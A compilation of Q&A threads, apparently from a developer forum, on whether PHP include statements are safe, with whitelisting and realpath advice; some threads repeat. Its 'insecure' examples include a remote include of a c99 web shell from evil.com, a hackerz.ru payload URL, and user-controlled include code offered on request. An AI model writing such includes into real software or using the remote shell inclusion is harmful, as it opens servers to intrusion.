I want to know if my code is safe and if there are other safer alternatives to include external files..
So this is my code example, is it safe? How can I make it safer? Thanks!
<?php switch($_GET['p']){
case 'test1':
include 'test1.php';
break;
case 'test2':
include 'test2.php';
break;
case 'test':
echo 'something';
include 'pages/test.php';
echo 'something';
break;
default:
include 'main.php';
break;
} ?>
You code is fine. There is no issue conditionally including files like you are doing as the file names are hardcoded. The issue occurs when a the file included is based on an un-sanitized value from the user. E.g
include $_GET['p'];
Which can include whatever the user wants (depending on PHP settings it may also include files on other domains)
The other options are variations on what you are doing
require
require_once
include_once
require and require_once will fail if the file doesn't exist. inlucde_once and require_once ensure that the file is only included once, so it that file has been inlucded elsewhere in the program it won't be included.
include_once 'myfile.php';
include_once 'myfile.php'; //does nothing as the file is already included
If you have use classes, there is also the option of the autoloader. From the looks of your application you would have to re-structure it to be able to use it though.
You might consider examining the contents of $_GET['p'] prior to even entering the switch. If it contains special characters, rubbish or something else, your program may want to log the incident (and not waste time trying to render the page).
At the least, a nice and polite "Sorry, we could not process your request" page would be in order.
This still allows the switch to fall through to the main page, provided that p contained something worthy of the switch evaluating in the first place.
This is especially true if the main page does any amount of queries in order to render. Sooner or later, someone will notice your URI structure and decide that it might be fun to play with it, don't burn CPU cycles on idiots :)
Seeing as you only include those you've hardcoded, I don't see why this wouldn't be safe. These aren't external files though, but I see what you mean. External would mean on a different server.
As for your question, the only alternative to include is require but that isn't necessarily safer, it just works differently.
Yes, perfectly safe.
You're including files you know the contents of, and not doing it based on variables coming from outside sources. an include wont cause your script to fail if it can not load, if that is the result you'd want, choose require('filename');.
It is safe as it is and the switch statement made the logic clearer. Just to make it more safer maybe you can use $__POST just to hide the switch variable data source to make it little bit safer. :D
You could make that more readable, as follows:
$safeIncludes = array('test1', 'test2', 'test3');
$p = $_GET['p'];
if(in_array($p, $safeIncludes)) {
$scriptName = $p . '.php';
include($scriptName);
}
Other than that it is safe as others have pointed out.
Related
I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');
i want to include a file, but with $_get, i don't know how to explain but i try to give examples.
I need to include a file from URL like this
mysite.com/?=MYINCLUDETEXT
and to write on <?php include('MYINCLUDETEXT.php'); ?>
Anyone tell me, Thank You.
This will actually do what you want
if (isset($_GET['file'])){
include($_GET['file'].'.php');
}
You might also want to test that the file, you are trying to include exists
file_exists and actually is a file is_file and not a folder.
But you have to understand, that even doing this you are creating a BIG breach in your system and helping people who want to hack your.
Not only it becomes easier to include uploaded files, (not only files which were validly uploaded), but it also allows to include random files from your server.
To avoid problems described in answer above - put all your files names (which should be included) in array, like:
$pages_array=('home','services','contact').
And then check GET var: if(!in_array($_GET['page'], $pages_array) { die(); }
Because you will probably need some other $_GET values/vars, i suggest that you use $_GET['page'] - for inclusion... You could later add mod rewrite to display pages as 'normal' urls... e.g.
www.yoursite.com/index.php?page=contact, could be rewritten to : www.yoursite.com/contact.html
I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');
Is it more efficient to use PHP's include_once or require_once instead of using a C-like include with a header guard?
I.e,
include_once 'init.php';
versus
include 'init.php';
//contents of init.php
if (!defined('MY_INIT_PHP')) {
define('MY_INIT_PHP', true);
...
}
"require_once" and "include_once" are generally a bit slower that just "require" and "include" because they perform a check wether the file has already been loaded before.
But the difference only matters in really complex applications where you should do autoloading anyway and by that would not need require_once/include_once, if your autoloader is well coded.
In most simple applications, it's better to use the require_once/include_once for convenience reasons.
The header guard approach is just messy code that should be avoided. Just imagine, if you forgot that check in one of many files. Debugging that could be a nightmare.
Just use autoloading if your application is suitable for it. It's fast and the most convenient and clean way.
I would expect include_once to be faster than using header guard inside the included file, since you still need to open and load the file in the latter.
You could try it 10,000 times with a timer, but I think defining MY_INIT_PHP is infinitesimally faster.
To be honest, it's likely such a small difference that there's no practical need to care unless you're working for sites like Facebook.
I always use REQUIRE_ONCE if script contents is unique.
<?php
if (preg_match('/^[a-z0-9]+$/', $_GET['p'])) {
$page = realpath('pages/'.$_GET['p'].'.php');
$tpl = realpath('templates/'.$_GET['p'].'.html');
if ($page && $tpl) {
include $page;
include $tpl;
} else {
include('error.php');
}
}
?>
How safe would you say this is?
I use this for a template file, so it can include "pages" instead of having to clutter a single file with tons of functions/strings/switch-cases/elseifs (take your pick) or create tons of files with the same layout.
It checks the realpath of the directory includes should be in and realpath of the file that is to be included, if the realpath of the file starts with the include directory, it is allowed to be included.
<?
#If you're worried about funky characters messing with stuff, use this
#preg_replace("/[^A-Za-z0-9_\-]+/","",$str);
if (isset($_REQUEST['page'])) {
$path=realpath("../inc/page").DIRECTORY_SEPARATOR;
$full_page=realpath($path.$_REQUEST['page'].".php");
if (file_exists($full_page)&&(strpos($full_page,$path)===0)) {
include($full_page);
} else {
echo "FAILED";
}
}
?>
Well, actually it realpath in this case doesn't provide any security. Actually it that case it serves no purpose at all, as include internally will expand the path. Your security here actually depends on preg_match. Note however, that regex you're using won't allow you to use an any page with upper case letter, with underscore or dash.
Anyhow, I don't think that including files based on parameters passed in request is good idea. There is something wrong with your design if you need that.
realpath doesn't help you at in this instance, as include can resolve the page path to the same file, no matter whether it is realpath'd or the original relative. It 'seems' to be valid, but I wouldn't trust that piece of code personally. I'm sure someone figures a neat way to inject a null-character to the input, wreaking havoc to the string termination.
What you need to do instead, to be safe, is keep a whitelist (or blacklist, if it happens to suit better, but prefer whitelists) of all allowed inputs/pages.
It seems to be safe....
But not efficient.
In MVC you have the controller and view dirs preset and pre known. No point in doing a stat to check if view/controller exists.
realpath() will actually have some effect in this case as it'll return FALSE if the target file does not exits. But as the other posters already said - this will not add any security to the code.
It's rather a way of error-handling in case the designated files do not exist.
Better run basename() on $_GET['p']. No directory traversal attacks for sure.
I cannot comment on the PHP realpath, but if it's just a wrapper for the system's realpath function then one thing to be aware of: on some systems (eg, Solaris), if the process receives a signal while realpath is executing it'll return the empty string ... in which case, you'd have to ensure your code is setup to handle that type of situation (unless the PHP implementation resolves that particular dilemma for you)